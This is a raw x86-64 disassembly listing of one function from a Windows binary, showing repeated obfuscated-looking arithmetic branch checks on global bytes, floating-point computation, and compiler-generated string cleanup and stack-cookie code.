movsx ecx, al
imul edx, ecx
call fcn.140002770
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
mov r8d, eax
call fcn.140002740
movsx r10d, al
call fcn.140002730
movsx r11d, al
call fcn.140002770
movsx ebx, al
movsx ecx, byte [0x14001b09b]
sub r8d, ecx
imul r8d, r9d
xor edx, edx
test r8d, r8d
je 0x140004a2c
movsx ecx, byte [0x14001b09a]
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movsx ecx, byte [0x14001b09c]
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x1400179d8]
movsd qword [rsp + 0x30], xmm1
mov ecx, r10d
imul ecx, r11d
lea eax, [rcx + rcx*8]
movsx ecx, byte [0x14001b099]
add eax, ecx
add eax, ebx
movsx ecx, byte [0x14001b098]
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x14000479a
call fcn.140002750
movsx edx, al
movsx eax, byte [0x14001b93c]
imul edx, eax
shl edx, 2
call fcn.140002780
movsx ecx, al
sub edx, ecx
call fcn.140002760
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001b09c]
add ecx, edx
jne 0x1400047f4
call fcn.140002740
movsx r9d, al
call fcn.140002730
movsx ecx, al
imul r9d, ecx
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x1400047f4
movzx eax, byte [0x14001b099]
movzx eax, byte [0x14001b098]
movzx eax, byte [0x14001b09b]
movsd xmm0, qword [rsp + 0x30]
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140004b5a
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.140002770
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001b09a]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001b09c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x30], xmm1
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140004928
call fcn.140002750
movsx edx, al
movsx eax, byte [0x14001b93c]
imul edx, eax
shl edx, 2
call fcn.140002780
movsx ecx, al
sub edx, ecx
call fcn.140002760
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001b09c]
add ecx, edx
jne 0x1400049be
call fcn.140002740
movsx r9d, al
call fcn.140002730
movsx ecx, al
imul r9d, ecx
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x1400049ba
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.140002770
movsx eax, al
add eax, r9d
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x30]
cvttsd2si edi, xmm0
jmp 0x1400049be
mov edi, dword [rsp + 0x30]
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
call fcn.140002770
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [0x14001b099]
add eax, ecx
movsx ecx, byte [0x14001b098]
xor edx, edx
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x140004b5a
movsx eax, byte [0x14001b09a]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001b09c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
jmp 0x140004a85
mov ecx, r10d
imul ecx, r11d
lea eax, [rcx + rcx*4]
movsx ecx, byte [0x14001b099]
add eax, ecx
add eax, ebx
movsx ecx, byte [0x14001b098]
div ecx
movsx ecx, byte [0x14001b09b]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14001b09a]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001b09c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x30], xmm1
call fcn.140002740
movsx edx, al
call fcn.140002730
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140002770
movsx eax, al
movsx ecx, byte [0x14001b099]
add eax, r9d
add eax, ecx
xor edx, edx
movsx ecx, byte [0x14001b098]
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140004b00
call fcn.140002750
movsx edx, al
movsx eax, byte [0x14001b93c]
imul edx, eax
shl edx, 2
call fcn.140002780
movsx ecx, al
sub edx, ecx
call fcn.140002760
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001b09c]
add ecx, edx
jne 0x140004b5a
call fcn.140002740
movsx r9d, al
call fcn.140002730
movsx ecx, al
imul r9d, ecx
call fcn.140002770
movsx eax, al
movsx ecx, byte [0x14001b099]
add eax, r9d
add eax, ecx
xor edx, edx
movsx ecx, byte [0x14001b098]
div ecx
movsx ecx, byte [0x14001b09b]
cmp eax, ecx
je 0x140004b5a
movzx eax, byte [0x14001b099]
movzx eax, byte [0x14001b098]
movzx eax, byte [0x14001b09b]
movsd xmm0, qword [rsp + 0x30]
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x140004b9e
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004b99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015474
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140004bfc
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004bf6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004bf6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015474
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140004c40
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004c3b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015474
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140004c9e
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004c98
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015474
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x140004ce7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ce2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ce2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015474
movdqa xmm0, xmmword [0x140017a90]
movdqu xmmword [rbp + 0x110], xmm0
mov word [rbp + 0x100], r12w
mov rdx, qword [rbp + 0x158]
cmp rdx, 7
jbe 0x140004d48
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d43
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140015474
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.140015410
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400011c0
nop
call fcn.140001120
int3
call fcn.140001120
int3
call fcn.1400011c0
nop
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x60]
call fcn.1400023e0
int3